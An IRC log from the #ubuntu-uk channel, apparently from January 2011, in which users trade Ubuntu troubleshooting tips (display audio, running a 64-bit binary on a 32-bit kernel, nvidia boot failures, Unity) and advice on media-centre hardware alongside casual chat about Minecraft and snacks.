<popey> shame the 32GB RAM I have sat here wont fit in it
 * dutchie takes a break from "work"
<dutchie> popeydc.dyndns.org?
<popey> yes
<gord> huh, wine is getting dosbox integration
<gord> interesting
<gord> "ubuntu, we officially support commander keen!"
<directhex> gord, explain?
<directhex> gord, oh, run a DOS app & it spawns dosbox?
<gord> i'm not sure
<gord> i doubt it will just spawn dosbox though
<gord> getting 30kb/s from sourceforge today, iruno why people use that thing...
<MooDoo> gord: convenience?  nothing better?
<gord> there is *plenty* better than source forge
<MartijnVdS> * > sourceforge
<brobostigon> afternoonings all.
<MooDoo> brobostigon: hello there
<brobostigon> MooDoo: hello, :)
<brobostigon> adsl failiure, talktalk's fault, from 8am till a half hour ago, talktalk fail.
<MooDoo> :(
 * MartijnVdS just listened to Talk Talk 8-)
<brobostigon> MooDoo: crap thing is, this happens around once a month, or more, and my dad is just about thinking about a different isp.
<MooDoo> *sigh*
<brobostigon> yeah,
<brobostigon> i might suggest an isp that does native  ipv6 to my dad. afterall, he does like things to last and be future proof, and getting ipv6 will do that.
<MooDoo> brobostigon: is it widely used yet?
<brobostigon> MooDoo: most software works perfectly now within ipv6, a few sites have ipv6 versions innlcuding freenode and gogle and facebook, however there arent many isp's that offer native ipv6 connectivity yet.
<brobostigon> google*
<Azelphur> hmm, just tried wiring up my mythtv box to my new TV, it has VGA In, and right next to it it has a 3.5mm jack for "PC/HDMI Audio" so I stuck a 3.5mm cable from the pc speaker, into that
<Azelphur> but no sound :(
<Azelphur> new fangled technology how does it work.
<dwatkins> HDMI should do audio itself.
<Azelphur> I'm plugged in on VGA
<MartijnVdS> dwatkins: it should, but if you're using a DVI-to-HDMI plug you need that jack
<ali1234> not if it comes from a DVI-D port
<MartijnVdS> Azelphur: use the green "audio out" hole
<Azelphur> MartijnVdS: on the PC? I did
<MartijnVdS> not the "PC/HDMI Audio" one
<MartijnVdS> I think?
<MartijnVdS> oh wait that's on your monitor end?
<Azelphur> yup
<Azelphur> PC/HDMI Audio on the TV
<Azelphur> Speaker socket on the PC (Green)
<MartijnVdS> does audio work at all (if you connect something directly to the green PC port)
<Azelphur> yea, if I go in via composite (yellow red and white cables) it works
<Azelphur> but no hd resolution there obviously :P
<MartijnVdS> maybe it's some config thingy on the TV?
<MartijnVdS> "Use this audio port when using VGA"
<Azelphur> maybe
<Azelphur> I'll have a nose
<MartijnVdS> good luck :)
<Azelphur> hehe
<bigcalm> popey: dutchie: if you're bored, you could finish off my tap in the sky
 * dutchie has probability to do
<MartijnVdS> dutchie: .. probably :)
<livingdaylight> MartijnVdS, can one read epub or mobi files from Calibre on the Desktop?
<Pendulum> livingdaylight: you should be able to
<Pendulum> (at least you could last time I tried Calibre)
<MartijnVdS> yes, in calibre right-click on it
<MartijnVdS> then "View"
<livingdaylight> can't figure out how
<MartijnVdS> or something
<livingdaylight> there we go - thx guys
<livingdaylight> now just have to figure out how to transfer 'em across to the Desire HD
<MonsterKiller> Hey. I tried to add a new user to admin and ubuntu server told me 'admin
<MonsterKiller> adduser: The group `admin' does not exist.'
<MonsterKiller> 'adduser: The group `admin' does not exist.'' rather
<Azelphur> Hmm, anyone familiar with the twitter command line tool?
<Azelphur> It seems to have bad time zones, it's saying people are posting in the future :P
<dwatkins> Which commandline tool, Azelphur, Twidge?
<MartijnVdS> dwatkins: curl 8-)
<dwatkins> MartijnVdS: that would be hard with OAITH, but possible. I gather there are perl modules for it.
<MartijnVdS> dwatkins: nah you just point it at your browser's cookie jar and use the "normal" web frontend?
<dwatkins> MartijnVdS: aha, I see
<dwatkins> What if you're running a perl script on a server with no browser, though... lynx?
<MartijnVdS> could work
<MartijnVdS> or you could copy your cookie jar over first
<dwatkins> yeah, interesting idea.
 * MartijnVdS browses discogs.com a bit
<MonsterKiller> anyone know what this is?: 	/usr/sbin/named -u bind
<MartijnVdS> that's bind :)
<MartijnVdS> http://www.isc.org/software/bind
<MartijnVdS> a dns server
<MonsterKiller> oh okay
<MonsterKiller> :p
<MonsterKiller> thanks
<Azelphur> lol, 3 don't know baout giffgaff :D
<Azelphur> I called them to get my pac code, and they asked me why I was leaving
<Azelphur> and they was all like there's no such thing it doesn't exist
<Azelphur> :(
<pr0ph3t> hi all
<MartijnVdS> Azelphur: that's the "retention" dept
<Azelphur> indeed :P
<Azelphur> 7 transfers, 2 giffgaff explanations, and 3 sets of 3 verification questions later
<Azelphur> and they are going to text me my pac code
<pr0ph3t> I have a problem with sound, well kinda; sound works fine but the ubuntu startup sound doesn' play anymore, or the log out one, just some event sounds seem to work, what can I do to check what is wrong?
<MartijnVdS> haha.. T-Mobile is giving away free pay-as-you-go SIMs with â¬30 on them.. they're the crappiest network of .nl (worst signal, etc.)
<MartijnVdS> they're about to get worst :)
<MartijnVdS> worse*
<moreati> pr0ph3t: have you looked at System > Preferences > Sound, on the Sound Effects tab?
<MichealH> pastebin is... Down? :O
<MichealH> OMG
<MichealH> How will #ubuntu cope? :P
<AlanBell> http://paste.ubuntu.com/
<MichealH> Oh :P
<AlanBell> I hacked my pastebinit to point to paste.ubuntu.com by default
<DJones> Or http://pastebin.ubuntu-uk.org
<AlanBell> when I say hacked, I mean configured
<AlanBell> edit ~.pastebinit.xml and set your default pastebin
<brobostigon> piping goodness into pastebinit, very useful.
<AlanBell> http://paste.ubuntu.com/556900/
<AlanBell> yo dawg, we heard you liked pastebin so we are using pastebinit to pastebin your .pastebinit.xml
<DJones> Anyway, its not as if pastebin.com is a major part of the internet, I'd be more worried if facebook.com was down, imagine the complaints then :)
<brobostigon> how or microsoft.com or apple.com or google.*
<brobostigon> rm how
<MartijnVdS> http://test-ipv6.com/ipv6day.html :)
<MartijnVdS> that'll be a good day for complaints
<brobostigon> MartijnVdS: interesting yes, but i hve prepared out home net for this event already.
<brobostigon> our*
<MartijnVdS> brobostigon: your home, sure
<MartijnVdS> brobostigon: but there are loads of other people, with broken routers
<brobostigon> MartijnVdS: very true, but this is only to highlight,that some things to be fixed, to be able to cope with the future.
 * brobostigon hugs his wrt54gl
 * MartijnVdS hugs fritzbox
<DJones> Ugh. I wish I knew what was broken with a laptop, great up to 10.04, but neither 10.10 or 11.04 will boot, I can get to grub, but it just goes to black screen, all I get are the coloured dots scrolling past then nothing. No login screen.  10.10 would work if I selected the kernel for 10.04 that hadn't been removed on upgrade, but otherwise, after 10.04 its become unusuable
<ali1234> probably KMS
<DJones> Possibly, its something I've had to fix on other machines, bit of a bugger when I can't get past the black screen with anything yet
<Myrtti> nvidia?
<DJones> Yep
<DJones> Oldish laptop that I'm playing with
<dwatkins> Have you tried upgrading the BIOS, DJones? Just a guess.
<DJones> I've not tried, could be an answer, I doubt its ever been upgraded in its life
<Myrtti> probably need a kernel parameter at boot
<Myrtti> to bypass nouveau
<DJones> I'm going to try a clean install from the alternate cd to see how that works just in case there's a conflict from earlier versions
<gord> DJones, delete the xorg.conf - should boot up with nouvou - that'll tell you if its kms or not
<gord> actually i'm not sure if that uses nvidia or not, you might just have to uninstall the nvidia package
<DJones> gord: I'll try that if I can get into it, I guess its boot with a cd time :)
<gord> DJones, recovery console doesn't work?
<DJones> Nope, not so far
<DJones> give me a minute, i'll see were it gets to
<DJones> fsck from util-linux-ng 2.12.2 and then dead, no lights flickering or any signs of life
<AlanBell> o/ TheOpenSourcere1
<popey> balor: i appear to have started a small fire
<dogmatic69> having issues installing things again
<dogmatic69> last time it was my oc'ed cpu, now it cant be :/
<daubers> Hmmm.... dbus has borked :(
<daubers> Oooooh
 * daubers notices unity-place-applications has turned up in his update list
<daubers> Now if only whatever was blocking it being installed would turn up in the repo too
<Compacthack> Evening all, wondering if someone could help, trying to put 10.10 on my Macbook air, Can't boot these things from usb driv e (don't have cdrom) so copy usb install disk to a partition on the ssd (disk0s3), when I get into the 10.10 install it tells me because the installation medium is on /dev/sda3 it can't modify or create any of the partitions on that drive, and I can't go any further.
<brobostigon> yay, gingerbread on my htc dream, :)
<AlanBell> Compacthack: https://help.ubuntu.com/community/How%20to%20install%20Ubuntu%20on%20MacBook%20Air%20using%20live%20CD
<Azelphur> brobostigon: cyanogen? :D
<Azelphur> been running cyanogen since day 1 :P
<Compacthack> I can boot into ubuntu with refit, can change the partitions with gparted, so I've created my swap and ext4 for /. but in the install I have to set the ext4 partition as / and the installer tells me it has to unmount sda3 (my install medium) to set /.
<brobostigon> Azelphur: based on cyanogenmod git, but not built by them.
<Azelphur> brobostigon: I see :)
<brobostigon> Azelphur: as there atmoment, isnt an official release not nightlie or otherwise of gingerbread for htc dream.
<Azelphur> ah, cyanogen 7?
<brobostigon> yes.
<Azelphur> I had a go at doing that on my G2 but it didn't work so well
<Azelphur> so I went back to 6
<brobostigon> Azelphur: it seems to be going ok, most of the basics are working, i did have to adw though,
<Azelphur> :)
<brobostigon> gallery is so smooth.
<brobostigon> its looking really smooth overall. letÅ try the camera and wifi and bluetooth.
<balor> popey: get out of the house then
<balor> popey: Or, if it's in your pants, I don't want to hear
<brobostigon> Azelphur: however without that clever cm config program. :(
<Azelphur> :(
<livingdaylight> !calibre
<MonsterKiller> Hey. ubuntu is telling me the irc 'services' file doesnt exist when i cd into its directory then to ./services but its there when i do ls. http://paste.monsterprojects.org/mpbehhhhjlhhwej
<stuphi> MonsterKiller: is it executable?
<MonsterKiller> should be :/ ill try
<stuphi> What does ls -l give?
<MonsterKiller> -rwxrwxrwx 3 rob  rob  1160791 Jan 23 01:21 services
<MonsterKiller> so it should be executable?
<stuphi> What about the directory it is in?
<MonsterKiller> drwxr-xr-x  7 rob  rob  4096 Jan 23 01:21 services
<stuphi> Try the file command on the services file.
<MonsterKiller> -bash: ./services: is a directory
<MonsterKiller> ?
<stuphi> A directory is not executable, so is that your problem? Change into that directory and see what is there.
<MonsterKiller> what do you mean?
<stuphi> what does 'file ~/services/services' give?
<MonsterKiller> /home/rob/services/services: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
<stuphi> So it is an executable file. Does it match the system you are trying to run it on? BTW, I am near the limit of my skills here. :-)
<AlanBell> where did it come from? could it be evil?
<MonsterKiller> lol
<AlanBell> e.g. it is running, and what it does is print to stdout "file does not exist"
<stuphi> It says that it uses shared libs. Do you have those libs? There is a command that will list the libs that an executable file needs, but I can't remember what it is just now.
<MonsterKiller> if i make it no executable then it says permision denied but if it do make it executable then it says its not there
<MonsterKiller> :/
<AlanBell> could that partition be mounted noexec?
<MonsterKiller> shouldnt be
<AlanBell> just type mount
<MonsterKiller> /dev/simfs on / type reiserfs (rw,usrquota,grpquota)
<AlanBell> nothing mounted on /home ?
<stuphi> try ldd ~./services/services
<MonsterKiller> ldd: ~./services/services: No such file or directory
<stuphi> try ldd ~/services/services
<stuphi> :-)
<MonsterKiller> 'not a dynamic executable
<MonsterKiller> '
<MonsterKiller> :/
<stuphi> Are you running a 64bit kernel?
<MonsterKiller> 32
<stuphi> That will probably be the problem.
<MonsterKiller> o.O
<stuphi> It is an ELF 64-bit executable.
<MonsterKiller> :/
<MonsterKiller> is there a way around it?
<stuphi> Recompile the executable or the kernel. :-)
<stuphi> That probably does not help you very much now though.
<MonsterKiller> hmm
<stuphi> I know that there are tricks to get 32bit code to work on a 64bit kernel, but I don't think the other way round is possible.
<stuphi> First thing to try would be to go to where the program came from and see if they supply a 32bit version, or the source code.
<stuphi> Alternativly, do you have a 64bit machine you can run it on?
<Myrtti> my irc is broken, its been quiet for 9 minutes
<MonsterKiller> lol
<gord> you can't run 64-bit code on a 32-bit system.
<bigcalm> popey: say when you're ready
<popey> ok
<popey> where were you bigcalm ?
<bigcalm> I was at the end of my track
<popey> hope it doesnt start at night
<popey> reconnect now and go to the house
<bigcalm> The sun is setting
<gord> fyi, minecraft is tonnes better with voip :) mumble is quick and easy to set up too
<popey> :)
<bigcalm> I've put everything into a chest
<gord> its always fun to hear someone calmly talking about something or other and then yell something you can't make out, always a creeper ;)
<bigcalm> Hehe
<popey> its back
<bigcalm> I'm in the sittingroom with my GF watching telly, so the sound is off
<popey> ditto
<gord> i can't play with the sound off... need to know if i'm about to be skeletoned
<bigcalm> popey: you're watching telly with my GF?
<popey> i should plug headphones on
<gord> i mean i guess technically you could play with sound off, its just, for my sanities sake i play with sound on
#ubuntu-uk 2011-01-23
<mbana> is it possible to find out what packages i last installed
<mbana> never mind
<mbana> sorry
<brobostigon> nos da,sleep well all.
<jacobw> night brobostigon
<brobostigon> night jacobw
<sgeh> hi
<sgeh> anyone using NX here?
<sgeh> weekend quietness
<stuphi> Middle of the night quitness :-)
<sgeh> yeah
<luke_> hello?
<luke_> #empathy
<luke_> :( how do i get to empathy?
<Azelphur> luke_: /join #empathy
<luke_> thanks :)
<luke_> actually, maybe you can help me? :) i was wondering how i find out what codec my webcam is recording because i cant stream with some people because they dont have the codec
 * hamitron sighs
<dr_barnowl> quiet
<dr_barnowl> /nick awilkins
<dr_barnowl> Crap, stupid phone client
<MartijnVdS> hmm.. 1l of fresh tea
<AlanBell> morning all
<daubers> morning
<daubers> Ah ha!
<daubers> Managed to break unity
<daubers> I also have no right click in terminator..
<daubers> ah, how odd, it's back now
<MartijnVdS> the way Unity is implemented is a bit weird imho
<MartijnVdS> the "part of the wm, but not quite"
<danfish> wotcha
<daubers> I really do quite like Unity. Still a little buggy, but thats expected at this point in it's development
<MartijnVdS> I can't stand the dock thingy and global menus
<MartijnVdS> Which is basically "all of unity"
<daubers> I like the dock thing :) Specially the way it runs away whe I move my windows close to it
<twager> I have a complete freeze with Natty after todays dist-upgrade
<daubers> I think global menus are one of those things that grows on you over time
<daubers> I probably use Macs too often to notice it too much really
<MartijnVdS> daubers: I've tried using macs for months and I couldn't get used to it
<MartijnVdS> also, macs don't have focus-follows-mouse, which I love
<dutchie> i can't get used to macs
<jacobw> i'm not a massive fan of global menus, but as daubers says they probably grow on you over time
<popey> morning
<jacobw> morning :)
<danfish> jacobw: so does mould, and I'm not a great fan of that ;)
<MartijnVdS> \o
<jacobw> danfish: i wouldn't be without my mould :p
<danfish> :)
<daubers> focus follows mouse irratates me, and I can't pin down why :(
<danfish> hmm - I keep getting an "unreadable MCE error" on boot since upgrade to the latest kernel
<popey> http://utilitybidder.co.uk/ :)
<popey> daubers: ffm on unity or on std gnome?
<daubers> popey: Either
<popey> well its broken in unity
<daubers> Admittedly not tried it in Unity
<jacobw> i've got a strange issue with maverick, i've created a keyboard shortcut to a pygtk script, but using the shortcut breaks my makes my external monitor mirror the laptop monitor
<daubers> annoyed me in std gnome when I used it for a bit
<popey> i get annoyed in OSX and Windows which dont have ffm
<HazRPG> ffm?
<daubers> All bugs aside, the one thing that really annoys me in Unity is no Alt+F2
<popey> yeah
<daubers> I've half assumed gnome-do or somesuch will appear in time....
<jacobw> this is the pygtk script btw, http://ubuntuforums.org/showpost.php?p=9943718&postcount=16
<popey> gnome-do is apparently dead :(
<daubers> :(
<jacobw> really? :(
<popey> thats what gord said when I last mentioned it
<HazRPG> I agree with everything that micromart said about all things linux
<HazRPG> "10 Things Linux Must Do In 2011"
<daubers> Wonder if something will come into to add a run command thing
<MartijnVdS> HazRPG: wait.. this isn't the year of the Linux Desktop?
<HazRPG> MartijnVdS: xD
<HazRPG> same thing every year right ;)
<dutchie> daubers: popey: there is a bug filed on it somewhere
<jacobw> 2006 was the year of the linux desktop
<dutchie> https://bugs.launchpad.net/unity/+bug/580295
<lubotu3> Ubuntu bug 580295 in Unity "Alt-F2 not working" [High,Triaged]
<HazRPG> jacobw: isn't every year the year of the linux desktop?
<jacobw> HazRPG: yeah, but some are better others
<HazRPG> :P
<dutchie> note how most of the comments on that are the milestone it's targetted to being pushed back :(
<HazRPG> oh, there's a point
<HazRPG> what's the best place for like linux news?
<HazRPG> or even an open-sourced linux mag or something...
<daubers> dutchie: Ooooh, at least it has a milestone fix suggestion :)
<dutchie> daubers: yeah, but the milestone it was originally targetted to was 0.2.2, and now it's 3.6...
<popey> daubers: its less that it's not working, more that its not implemented
<danfish> HazRPG: try lxer.org
<popey> ALT+F2 is what the gnome panel does
<popey> no gnome panel, no ALT+F2
<MartijnVdS> :(
<daubers> popey: Yeah, but reading that bug an alternative has been suggested relativley recently and the last milestone has it being assigned to someone to impliment that alternative
<HazRPG> danfish: thanks :)
<jacobw> http://www.bbc.co.uk/news/world-us-canada-12261124
<jacobw> :o
<awilkins> Kimchi!
<HazRPG> hurray \o/
<HazRPG> popey: I think I fell in love with graze.com xD
<daubers> I do love the way that if the Unity dock is off the screen and a new app opens, it's icon just pops over the edge of the screen a little and gives a cheeky wave
<HazRPG> daubers: copied from OSX much ;)
<daubers> HazRPG: It's more fun than the OSX one, that just glows a bit and buldges.
<HazRPG> daubers: >_< I was just about to say that xD
<awilkins> Problem with graze.com is that the packages would never pass through the corporate sphincter
<awilkins> I'd be reduced to packing yesterdays into my laptop bag
<awilkins> Mini tupperware and Julian Graves may be the solution.
<HazRPG> xD
<awilkins> The trains are still bobbins. Didn't expect that. :-|
<popey> :) HazRPG
<popey> daubers: cool
<HazRPG> haha, really liked reading this article: http://www.networkworld.com/community/node/70841
<dutchie> hrm
<dutchie> might stick natty on my netbook at some point
 * jacobw opens yesterdays graze box
<jacobw> no olives :(
 * daubers dons headphones
<awilkins> Crunchy breadsticklets?
<jacobw> cashew nuts :( i'm not a fan of the nut punnets
<HazRPG> make sure to unlike them
<HazRPG> I had cashew nuts yesterday too... no like those
<HazRPG> the oriental crackers were lush though!
<jacobw> i should, i always forget to rate or slate
<jacobw> oh yes, oriental crackers ftw
<awilkins> Mmmm peanuts crackers ..... Droool
<jacobw> the wasabi ones awilkins?
<awilkins> Ooh, even better
<awilkins> I go to a chinese supermarket for oriental snack gratification
<jacobw> lol
<HazRPG> :o
<awilkins> Their new line of crunchy ramen noodles was moreish
<jacobw> hmmm ramen :)
<awilkins> Not so sure about dried durian sausage
<Neoti> Hi All, does anyone know where i can get a list of all 64Bit chips or at least a list of all CPUs and if its a 64Bit CPU or 32 bit CPU ?
<awilkins> Will soon have pots of kimchi. Am going to kimchi workshop. Korean lunch. Mmm.
<AlanBell> Neoti: pretty much anything new is 64bit
<awilkins> Neoti: wikipedia have a good list. If you have shell access to the machne you can list it's CPU features to determine its arch.
<Neoti> see im building a media center and want a 64bit cpu, now im not thick on cpus but i just can not find a difinitive list of MAKE, MODEL, 64 or 32 etc ... and its anoying ... lol
<AlanBell> relax, it will be 64bit
<awilkins> Anything new is a 64 bit in general, esp. Desktop models.
<AlanBell> some early Atom chips were 32 bit
<awilkins> Yes, they are netbook models
<awilkins> (ahem)
<AlanBell> now you would have to be hunting out an odd embedded chip to find 32bit
<awilkins> Righto, train is here
<Neoti> aha... good old wiki.... right at the bottum of a page it lists which Itel chips and E numbers which are 64bit ... YEY... im a happy bunny now ... lol
<Neoti> dont take much ... he he
<AlanBell> :)
<directhex> Neoti, it's 2011. there are no 32-bit intel cpus except for atom. if it's not atom, it's 64-bit
<Neoti> ok cheers.... just thought i would ask.... YIPPEEEEE
<Neoti> im also now desiding on a dual-core or a core i5 cpu .... the i5 should be better but is it ?
<gord> yes
<gord> yes it is
<MartijnVdS> i5 is dual core
<MartijnVdS> itym "Core Duo", that was the generation before i3/5/7
<HazRPG> Agreed
<HazRPG> all i5's from 650-680 are dual-core'd processors capable of doing hyper threading (so in this case, 4 threads at a time)
<Neoti> ok, my media center will have a TV tuner card, core i5, 2gb ram, 500GB hdd, HDMI out and blueray, unforchanetly i will put windows on there with Media portal , the hdd will be Raid 1 mirrored as i dont want to lose all me media and will rsync to my freeNAS box so i have a backup and for shared access to content etc... does this sound ok ?
<gord> Neoti, nope!
<gord> Neoti, for a media center its waaaay overpowered
<Neoti> lol
<HazRPG> the 750, 750S and 760 are quad-core's... but no hyper-threading... so your getting true 4 threads over 4 cores
<gord> mine is a single core 1.6ghz atom cpu with an nvida ion chipset, plays 1080p content just fine
<Neoti> is that the ion or something like that ?
<gord> not sure why your going with windows either
<Neoti> some thing like a zotec ion thingy
<gord> "hz atom cpu with an nvida ion chipse"
<HazRPG> hmm, yeah dude you don't need to place windows just make a media centre, plus those specs would be MORE than ideal for a media server
<Neoti> ok i am going with windows as a base for this as i love media portal and there is going to be more than me using it , also when i have had media center based on ubuntu before it did not cut it .... sorry ubuntu.....
<gord> were you using xbmc?
<HazRPG> I was just about to ask that
<Neoti> no, i seen it but only plaid with media portal
<gord> well theres your problem
<Neoti> ok guys, build me a media center .... specs software the lot my budget is around Â£600 ... goo...
<gord> http://www.youtube.com/watch?v=fHx0SL2NDSY my xbmc setup running on an acer revo (around Â£200) - thats all you need
<HazRPG> there's also boxee
<HazRPG> which I really enjoy using
<HazRPG> although xbmc is great too
<Neoti> argh.... sorry you have no sound ... argh .... the video is good but my one gripe with people on youtube is that you can hear sound in the background but the person does not talk about the set up and stuff just flicks through stuff....im watching the video now ...... sorry ....
<Neoti> also i love the android app thingy ...
<Neoti> i want it ...
<Neoti> its nice ...
<Neoti> ah ... you like minecraft.... i once lost an entire day from just playing that ... he he
<Neoti> HazRPG, i hope i have not affended u with my comment .... sorry..... :(
<HazRPG> Neoti: nah you haven't the oven dinged
<HazRPG> MONKEY MAGIC! :O!
<HazRPG> where did you get it from!?
<Neoti> ?????
<HazRPG> gord: where did you get the monkey magic from? The tv show!
<HazRPG> btw Neoti it really isn't hard to setup xbmc
<Neoti> lol stupid Q ... i have to have an Xbox right and then do some kinda of voodoo magic to put it on there ?
<HazRPG> have a play with it, it works on windows/linux/mac: http://xbmc.org/
<HazRPG> lol no, it was originally designed to stream stuff to the xbox... but its since expanded its project
<Neoti> i will have a play .... its easiyer on windows tho ... with media portal ... but i will have a play just cos imgeeky like that ...
<HazRPG> is it going to be hooked straight into a tv? or how are you planning on using it exactly?
<Neoti> bassically getting a nice HTPC case and putting it under the TV with a HDMI cable... setting it for 1080p goodness and stream youtube and revision 3, copy films, music, photos to it ... mybe have the odd plug in for asterisk to alert me of a call the CLID and maybe add the emulator stuff to it for old NES and SNES games ... not too sure yet
<HazRPG> guessing its not intended to replace your desktop though?
<HazRPG> doesn't sound like you need amazing hardware then
<Neoti> oh no ... defo not ... just media that its .... only a remote control and the software to autostart on boot and bee full screen etc...
<HazRPG> I think your graphics card will properly be the main thing
<HazRPG> and some decent ram
<HazRPG> btw, boxee is another good one - its based around xbmc
<Neoti> im just installing xbmc on my ubuntu pc now ...
<HazRPG> http://www.boxee.tv/
<HazRPG> cool, I'm sure you'll like it
<Neoti> well im not i'll just blame you :) ...
<HazRPG> :P
<Neoti> sorry should be well if not
<Neoti> well if not i'll just blame you :) ...
<HazRPG> I figured ;)
<HazRPG> personally, do what the heart tells you - we can only suggest and advise
<HazRPG> if you get the i5, etc
<HazRPG> means you can do more with it in future should you wish to
<HazRPG> i.e. make it an emulator pumping machine too ^^,
<HazRPG> e.g.* (not i.e.)
<Neoti> ok XBMC seems kool....
<HazRPG> Boxee, like I said is similar to XBMC except it adds on a social aspect to it too
<X3N> loving how usb tethering just works
 * X3N is on a train
<HazRPG> X3N: hehe, what you using?
<Neoti> cool.... usb teth....
 * MartijnVdS considers going for a walk
<HazRPG> Neoti: have you checked out the boxee stuff?
<HazRPG> I remember having a beta account for boxee, I really really loved it
<popey> anyone good with lvm?
 * popey pokes daubers 
<daubers> popey: lo
 * daubers awakens from Minecraft
<jonsaint> hi all. how often does ubuntu do these new upgrades because i got version 9 on cd and there seems very little difference between 9 and 10.
<daubers> jonsaint: The version numbers are year.month, so I think you're talking about 9.10 and 10.04?
<jonsaint> yes thats it
<daubers> jonsaint: There's a new release every 6 months, with lts releases every.... 2 years?
<daubers> !lts
<lubotu3> LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
<jonsaint> so i take it the next release is 11.04?
<daubers> jonsaint: Yup
<daubers> !11.04
<lubotu3> Natty Narwhal is the codename for Ubuntu 11.04, due April 28 2011 - Help and support (only) in #ubuntu+1 - Natty is unstable and is not intended for production systems.
<jonsaint> will all that be sorted when it comes to oficial release then?
<daubers> Should be
<daubers> Thats the aim anyway :)
<HazRPG> will what be all sorted sorry?
<jonsaint> im fairly new to ubuntu, ive been on the dark side for many years and got sick of all the viruses and stuff so i was told to try this. taking a bit of getting used to but so far i like what im seeing.
<Neoti> Hey Jonsaint..... welcome to the light side of the force ....
<jonsaint> thanks! neoti. it looks pretty easy to use and all this community support too which is great! microsoft wouldnt even dream of doing anything like this without asking what sort of credit card your using first lol
<jacobw> welcome to #ubuntu-uk jonsaint
<Neoti> lol.... thats true....
<jacobw> community support is fantastic :) you might want to sign up for the mailing list for more in depth discussions
<jonsaint> so i can basically do near enough the same as what i could do on the other o/s??
<Neoti> i have been using ubuntu on and off for a while .... but now i have a job where i am in terminal all the time so i thought stuff it i might as well just use ubuntu and put my ssh keys on all the systems etc.
<Neoti> jonsaint , you can do most maybe 98% of all the stuff you can do on windows on linux.... though , some windows specific programs you do have to use windows but i get around that with using virtual box in ubuntu and installing windows in there . :P
<jacobw> jonsaint: most people can, sadly some people require proprietary software that only runs on Windows
<jonsaint> well i only tend to use this for web browsing and burning the odd dvd. but im looking more into ubuntu and how it works etc. i got absolutly no knowledge of ubuntu what so ever lol
<Myrtti> oh dear. I just watched some videos of Minecraft on youtube and now I'm actually thinking of purchasing the game. HELP? tell me not to.
<Neoti> you must purchase the game ...... lol
<Neoti> its awesome...
<Neoti> you actually lose time
<Pendulum> Myrtti: join me in my resistance to Minecraft. Just keep saying "I like my job and getting sleep" over and over ;-)
<Neoti> "I like mine craft and building things"
<Neoti> he he
<Myrtti> Pendulum: nnngghghhghhhhghgh
<jonsaint> what is minecraft lol
<Neoti> look it up on google .... and play a couple of hours i mean minuets... lol ... he he
<Neoti> if we dont hear back from you for a few days we will know you found it ... lol
<jonsaint> it dont look too bad
<jonsaint> and this is for ubuntu???
<Neoti> see you in about a week then .... you will lose whole days to it ...
<Pendulum> jonsaint: from what I can tell, it's crack for geeks
<Neoti> nope its for all os... its web based
<Neoti> pendulum, ;)
<Neoti> its more addictive then the most adictive drug ...
<dwatkins> People have made arithmetic logic units and music players with minecraft, it's got all sorts of hoopy features
<jonsaint> soon as i get some money in my account il get this game.
<Neoti> oh no another addict!!!!
<dwatkins> I've never played it.
<Neoti> there goes another one too ...
<Neoti> lol
<jonsaint> so is this room specifically for uk users of ubuntu then?
<popey> kinda
<popey> Myrtti: :)
<jacobw> i heard someone mention minecraft at a house party last night, i was suprised that anyone outside of the geek community knew of it
<TheOpenSourcerer> jonsaint: There are a few peeps who hang out in here not from the UK too.
<TheOpenSourcerer> We don't mind :-)
<jonsaint> im probably the only person in my city thats running this lol. time to spread the word i think!
<jacobw> jonsaint: you might be suprised at who else uses ubuntu
<popey> jonsaint: what city?
<Neoti> jonsaint , where are you from
<jonsaint> wolverhampton
<AlanBell> lol
<AlanBell> I don't think you are the only one
<TheOpenSourcerer> Hello AlanBell
<AlanBell> hello TheOpenSourcerer
<jacobw> jonsaint: there are some prominent ubuntu people in wolverhampton
<Neoti> im from notts.... i sure there are some people out there some place .... wait people out side ... holy hell when did this happen ...
<popey> you aren't the only one by some margin
<TheOpenSourcerer> How was your trip back from the big "B" then?
<jonsaint> now thats suprised me lol
<Myrtti> perhaps I should learn to play first
<jacobw> isn't stuart langridge in wolverhampton?
<AlanBell> TheOpenSourcerer: quite easy really, I was on the brand new boat, first day of sailing
<TheOpenSourcerer> Shiny!
<AlanBell> smelled of new carpets rather than seasickness :)
<TheOpenSourcerer> lol
<TheOpenSourcerer> Enjoy the course?
<AlanBell> yes, writing up an article about it
<TheOpenSourcerer> Cool.
<AlanBell> it was nice and technical
<TheOpenSourcerer> Good.
<HazRPG> jonsaint: Heh, just catching up with topic
<HazRPG> jonsaint: welcome to #ubuntu-uk, I'm sure you'll enjoy your stay here ;)
<AlanBell> is Davmor2 from wolves?
<jonsaint> thanks hazrpg. i hope i made the right choice.
<HazRPG> jonsaint: Trust me you did :)
<Neoti> jonsaint : yes you have ...
<AlanBell> Jono Bacon was, but now lives in the states
<HazRPG> you'll get better support and responses from us then microsoft will ever give
<dwatkins> jonsaint: http://www.wolveslug.org.uk/
<jonsaint> so heres me thinking im all alone when really i could have walked past half a dozen ubuntu users in the shops lol
<HazRPG> jonsaint: full convert, or dual-boot at the moment?
<HazRPG> shocking isn't it :p
<jonsaint> full convert. i completly formatted my drive, put on 9.10 which i had on cd and then went to v10
 * HazRPG still trying to find me an ubuntu/linux girl
<Neoti> HazRPG look on youtube for NixiePixel..... shes hot as hell and a big supporter of ubuntu
<TheOpenSourcerer> My eldest son (10) wants a video editor on Ubuntu. Which one do any of you prefer? Pitivi, Openshot Kino, Avidemux ...
<HazRPG> Neoti: oh trust me, I know of her xD
<Neoti> Kdenlive
<Neoti> LOL hazrpg
<HazRPG> Neoti: Although, what's the chances she gets random people e-mailing her all the time asking her out... so thought nah, would be daft to
<jacobw> PiTiVi seem powerful enough without being over complicated
<Neoti> who ever is dating her is very very lucky.... not only is she sexy, but also knows about geeky stuff .... how good is that ... he he
<jacobw> who says women can't be geeks?
<HazRPG> ikr!
<HazRPG> I was shocked with one girl that I'd known for years... she hears me talk about geeky stuff all the time and makes out like she doesn't know
<Neoti> no one .... its just not that common at the moment although there is a growing population of geeky girls like Nixiepixel ...
<jacobw> and also, why is it such a suprise that a woman who identifies as a geek is also attractive
<HazRPG> I went round to fix her computer once... and found she had a linux distro on xD
<jacobw> hehe HazRPG
<HazRPG> ubuntu no less, although she'd managed to configure it to look soooo very different
<HazRPG> damn, friend zone xD
<Neoti> lol i know what you mean HazRPG....
<Neoti> the whole friendzome ... dam it ....
<HazRPG> a women who can configure an ubuntu distro to her own liking is just mega win though
